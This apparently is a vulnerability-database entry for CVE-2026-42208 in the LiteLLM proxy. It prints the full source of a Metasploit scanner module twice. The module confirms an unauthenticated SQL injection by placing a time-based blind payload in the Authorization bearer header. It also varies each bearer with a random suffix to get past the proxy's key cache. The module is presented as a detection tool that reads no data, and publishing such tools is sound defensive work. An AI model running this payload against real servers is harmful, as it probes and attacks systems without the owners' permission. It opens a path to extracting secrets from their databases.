9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This module detects BerriAI LiteLLM proxy servers affected by CVE-2026-42208, an unauthenticated SQL injection. During API-key verification the proxy interpolates the raw Authorization bearer value into a PostgreSQL query WHERE v.token = '' without...
Basic Information
ID
MSF:AUXILIARY-SCANNER-HTTP-LITELLM_PROXY_SQLI-
Published
Jun 24, 2026 at 19:04
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner',
'Description' => %q{
This module detects BerriAI LiteLLM proxy servers affected by
CVE-2026-42208, an unauthenticated SQL injection. During API-key
verification the proxy interpolates the raw Authorization bearer value
into a PostgreSQL query (WHERE v.token = '<token>') without
parameterization. Because LiteLLM only hashes tokens that begin with
"sk-", a bearer value that does not start with "sk-" reaches the query
verbatim and is injectable. The failure path that performs the lookup is
reachable before authentication. Affected versions are 1.81.16 through
1.83.6 (fixed in 1.83.7).
The module confirms the flaw with a benign time-based check built on the
framework's PostgreSQL time-based blind SQL injection library. It issues a
request whose injected predicate sleeps only when a tautology is true and a
second request whose predicate never sleeps, and reports the target
vulnerable only when the first is delayed while the second returns promptly.
A server that is merely slow delays both requests and is not flagged. The
module does not read or exfiltrate data.
Detection requires the target to have provisioned at least one virtual
key. The injectable predicate sits in a WHERE clause that PostgreSQL
evaluates only against matching rows, so when the token table is empty
the pg_sleep never executes and the proxy appears (falsely) safe. Any
LiteLLM proxy in real use has issued keys; a freshly initialized proxy
with an empty token table may not respond to the time-based probe.
},
'Author' => [
'Tencent YunDing Security Lab', # vulnerability discovery
'Kenneth LaCroix' # Metasploit module
],
'References' => [
['CVE', '2026-42208'],
['GHSA', 'r75f-5x8p-qvmc'],
['URL', 'https://bishopfox.com/blog/cve-2026-42208-pre-authentication-sql-injection-in-litellm-proxy']
],
'DisclosureDate' => '2026-04-20',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultOptions' => { 'RPORT' => 4000, 'SSL' => false }
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The LiteLLM chat completions endpoint', '/v1/chat/completions']),
OptString.new('MODEL', [true, 'Model name placed in the request body (need not be a real model)', 'gpt-3.5-turbo'])
]
)
# Msf::Exploit::SQLi registers SqliDelay with a 1.0s default. A single second
# is easily lost in network jitter for a remote time-based check, so raise the
# default to give a clearer signal while still letting the user tune it.
register_advanced_options(
[
OptFloat.new('SqliDelay', [false, 'Seconds to pg_sleep for the time-based check', 5.0])
]
)
end
# Best-effort fingerprint via the unauthenticated /health endpoint.
def fingerprint
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri('health'))
return nil unless res
key = res.headers.keys.find { |k| k.casecmp?('x-litellm-version') }
return "LiteLLM #{res.headers[key]}" if key
return 'LiteLLM /health' if res.code == 200
nil
end
# pg_sleep is evaluated once per matching row, so a populated token table can
# delay the response by several multiples of SqliDelay; add a fixed margin for
# the network round-trip on top of that.
def request_timeout
(datastore['SqliDelay'] * 4 + 20).ceil
end
# Builds the time-based blind SQLi probe. The framework library hands our block
# the boolean predicate to test; we break out of the WHERE v.token = '<token>'
# string literal, OR in that predicate, and comment out the trailing quote. A
# bearer that does not begin with "sk-" is interpolated verbatim, so the quote
# reaches the query and the injection lands. The random suffix sits inside the
# SQL comment (so it is inert) but makes every bearer unique, which defeats
# LiteLLM's in-memory API-key auth cache: a repeated token would otherwise be
# served from cache and skip the database, suppressing the pg_sleep.
def create_litellm_sqli
create_sqli(dbms: PostgreSQLi::TimeBasedBlind) do |payload|
body = {
'model' => datastore['MODEL'],
'messages' => [{ 'role' => 'user', 'content' => 'x' }],
'max_tokens' => 1
}.to_json
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer ' OR #{payload}-- #{Rex::Text.rand_text_alphanumeric(8)}" },
'data' => body
},
request_timeout
)
end
end
def check_host(_ip)
fp = fingerprint
if create_litellm_sqli.test_vulnerable
Exploit::CheckCode::Vulnerable("Time-based SQL injection via Authorization header confirmed#{fp ? " (#{fp})" : ''}")
else
Exploit::CheckCode::Safe('No time-based SQL injection signal observed')
end
end
def run_host(ip)
code = check_host(ip)
unless code == Exploit::CheckCode::Vulnerable
print_status("#{peer} - #{code.message}")
return
end
print_good("#{peer} - #{code.message}")
report_vuln(
host: rhost,
port: rport,
name: name,
info: 'Time-based blind SQLi via Authorization header (pg_sleep)',
refs: references
)
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BerriAI LiteLLM Proxy Pre-Auth SQL Injection Scanner',
'Description' => %q{
This module detects BerriAI LiteLLM proxy servers affected by
CVE-2026-42208, an unauthenticated SQL injection. During API-key
verification the proxy interpolates the raw Authorization bearer value
into a PostgreSQL query (WHERE v.token = '<token>') without
parameterization. Because LiteLLM only hashes tokens that begin with
"sk-", a bearer value that does not start with "sk-" reaches the query
verbatim and is injectable. The failure path that performs the lookup is
reachable before authentication. Affected versions are 1.81.16 through
1.83.6 (fixed in 1.83.7).
The module confirms the flaw with a benign time-based check built on the
framework's PostgreSQL time-based blind SQL injection library. It issues a
request whose injected predicate sleeps only when a tautology is true and a
second request whose predicate never sleeps, and reports the target
vulnerable only when the first is delayed while the second returns promptly.
A server that is merely slow delays both requests and is not flagged. The
module does not read or exfiltrate data.
Detection requires the target to have provisioned at least one virtual
key. The injectable predicate sits in a WHERE clause that PostgreSQL
evaluates only against matching rows, so when the token table is empty
the pg_sleep never executes and the proxy appears (falsely) safe. Any
LiteLLM proxy in real use has issued keys; a freshly initialized proxy
with an empty token table may not respond to the time-based probe.
},
'Author' => [
'Tencent YunDing Security Lab', # vulnerability discovery
'Kenneth LaCroix' # Metasploit module
],
'References' => [
['CVE', '2026-42208'],
['GHSA', 'r75f-5x8p-qvmc'],
['URL', 'https://bishopfox.com/blog/cve-2026-42208-pre-authentication-sql-injection-in-litellm-proxy']
],
'DisclosureDate' => '2026-04-20',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultOptions' => { 'RPORT' => 4000, 'SSL' => false }
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The LiteLLM chat completions endpoint', '/v1/chat/completions']),
OptString.new('MODEL', [true, 'Model name placed in the request body (need not be a real model)', 'gpt-3.5-turbo'])
]
)
# Msf::Exploit::SQLi registers SqliDelay with a 1.0s default. A single second
# is easily lost in network jitter for a remote time-based check, so raise the
# default to give a clearer signal while still letting the user tune it.
register_advanced_options(
[
OptFloat.new('SqliDelay', [false, 'Seconds to pg_sleep for the time-based check', 5.0])
]
)
end
# Best-effort fingerprint via the unauthenticated /health endpoint.
def fingerprint
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri('health'))
return nil unless res
key = res.headers.keys.find { |k| k.casecmp?('x-litellm-version') }
return "LiteLLM #{res.headers[key]}" if key
return 'LiteLLM /health' if res.code == 200
nil
end
# pg_sleep is evaluated once per matching row, so a populated token table can
# delay the response by several multiples of SqliDelay; add a fixed margin for
# the network round-trip on top of that.
def request_timeout
(datastore['SqliDelay'] * 4 + 20).ceil
end
# Builds the time-based blind SQLi probe. The framework library hands our block
# the boolean predicate to test; we break out of the WHERE v.token = '<token>'
# string literal, OR in that predicate, and comment out the trailing quote. A
# bearer that does not begin with "sk-" is interpolated verbatim, so the quote
# reaches the query and the injection lands. The random suffix sits inside the
# SQL comment (so it is inert) but makes every bearer unique, which defeats
# LiteLLM's in-memory API-key auth cache: a repeated token would otherwise be
# served from cache and skip the database, suppressing the pg_sleep.
def create_litellm_sqli
create_sqli(dbms: PostgreSQLi::TimeBasedBlind) do |payload|
body = {
'model' => datastore['MODEL'],
'messages' => [{ 'role' => 'user', 'content' => 'x' }],
'max_tokens' => 1
}.to_json
send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'headers' => { 'Authorization' => "Bearer ' OR #{payload}-- #{Rex::Text.rand_text_alphanumeric(8)}" },
'data' => body
},
request_timeout
)
end
end
def check_host(_ip)
fp = fingerprint
if create_litellm_sqli.test_vulnerable
Exploit::CheckCode::Vulnerable("Time-based SQL injection via Authorization header confirmed#{fp ? " (#{fp})" : ''}")
else
Exploit::CheckCode::Safe('No time-based SQL injection signal observed')
end
end
def run_host(ip)
code = check_host(ip)
unless code == Exploit::CheckCode::Vulnerable
print_status("#{peer} - #{code.message}")
return
end
print_good("#{peer} - #{code.message}")
report_vuln(
host: rhost,
port: rport,
name: name,
info: 'Time-based blind SQLi via Authorization header (pg_sleep)',
refs: references
)
end
end